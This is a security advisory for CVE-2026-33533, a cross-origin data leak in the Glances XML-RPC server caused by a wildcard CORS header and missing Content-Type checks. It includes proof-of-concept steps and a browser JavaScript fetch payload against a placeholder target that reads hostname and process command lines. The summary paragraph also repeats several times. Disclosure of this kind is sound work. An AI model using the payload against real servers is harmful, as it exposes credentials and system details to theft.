CVE-2026-33533

Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.3, the Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS "simple request" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths). This issue has been patched in version 4.5.3.

Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.3, the Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS "simple request" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths). This issue has been patched in version 4.5.3.

Summary

The Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS "simple request" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths).

Details

File: glances/server.py, class GlancesXMLRPCHandler, line 41

def send_my_headers(self):
    self.send_header("Access-Control-Allow-Origin", "*")

This header is attached to every response from the XML-RPC server. The server inherits from SimpleXMLRPCRequestHandler which parses the POST body as XML regardless of the Content-Type header. Combined with the default unauthenticated configuration (server.isAuth = False, line 196), any website on the internet can call getAll(), getPlugin(), getAllPlugins(), getAllLimits(), or getAllViews() and read the results.

The REST API had the same issue and it was fixed in 4.5.1 (CVE-2026-32610). The XML-RPC server was not patched. The two components are entirely separate code paths: the REST API uses FastAPI/Uvicorn and is started with glances -w, while the XML-RPC server uses Python's xmlrpc.server and is started with glances -s. The attack works because POST with Content-Type: text/plain is classified as a CORS simple request by browsers, so no OPTIONS preflight is sent. The server never checks the Content-Type value, so the XML-RPC payload inside a text/plain body is parsed and executed normally.

PoC

Prerequisites: Glances installed (any version including latest 4.5.1+), started in server mode.

Step 1. Start the Glances XML-RPC server on the target machine:

glances -s -p 61209

Step 2. From any machine, run the Python PoC to confirm the issue server-side:

python3 poc_test.py TARGET_IP 61209

Step 3. To demonstrate the browser attack, host poc_cors_xmlrpc.html on any web server (even a different origin). Open it in a browser, enter the target URL (http://TARGET_IP:61209), and click "Steal System Data". The page will display the full system monitoring data retrieved cross-origin.

Step 4. Alternatively, paste this into any browser console while on any website:

fetch("http://TARGET_IP:61209/RPC2", {
    method: "POST",
    headers: {"Content-Type": "text/plain"},
    body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
}).then(r => r.text()).then(d => {
    let m = d.match(/<string>([\s\S]*?)<\/string>/);
    let data = JSON.parse(m[1].replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&amp;/g,"&"));
    console.log("Hostname:", data.system.hostname);
    console.log("Processes:", data.processlist.length);
    console.log("First process cmdline:", data.processlist[0].cmdline);
});

Verified output from testing on Glances 4.5.3_dev01 (current main branch):

[+] HTTP Status: 200
[+] Access-Control-Allow-Origin: *
[+] Successfully retrieved system data cross-origin.
Hostname:     claude
OS:           Linux 6.8.0-1024-gcp
Process count: 125
Top processes include full command lines with arguments
Total data categories exposed: 35

Impact

Any user who runs Glances in server mode (glances -s) on a network-accessible interface is vulnerable. A malicious website visited by anyone on the same network can silently extract the complete system monitoring dataset without any user interaction beyond visiting the page. The stolen data includes hostname, OS version, IP addresses, full process list with command…

Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.3, the Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS "simple request" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths). This issue has been patched in version 4.5.3.

Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.3, the Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS "simple request" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths). This issue has been patched in version 4.5.3.

Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.3, the Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS "simple request" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths). This issue has been patched in version 4.5.3.